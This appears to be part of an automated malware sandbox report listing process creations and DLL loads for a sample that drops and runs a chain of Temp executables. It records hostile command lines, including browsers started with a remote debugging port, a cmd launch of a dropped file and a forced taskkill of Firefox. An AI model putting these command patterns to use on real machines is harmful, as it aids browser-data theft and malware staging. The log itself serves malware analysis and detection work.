Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe "C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDGIJEGHDA.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2140,i,6862052502615090198,14872134904114190973,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe "C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2508 --field-trial-handle=2408,i,12531536969233449593,15668057242501277560,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6920 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7084 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6312 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,14044714078481538469,7518719222076099172,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDGIJEGHDA.exe "C:\Users\user\DocumentsIDGIJEGHDA.exe"
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe "C:\Users\user~1\AppData\Local\Temp\1007095001\fd5d5b30e9.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe "C:\Users\user~1\AppData\Local\Temp\1007104001\1e42688e0b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe "C:\Users\user~1\AppData\Local\Temp\1007105001\36030a5366.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe "C:\Users\user~1\AppData\Local\Temp\1007106001\1e1f95e037.exe"
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsIDGIJEGHDA.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007095001\fd5d5b30e9.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007104001\1e42688e0b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1007105001\36030a5366.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1007106001\1e1f95e037.exe	Section loaded: winmm.dll
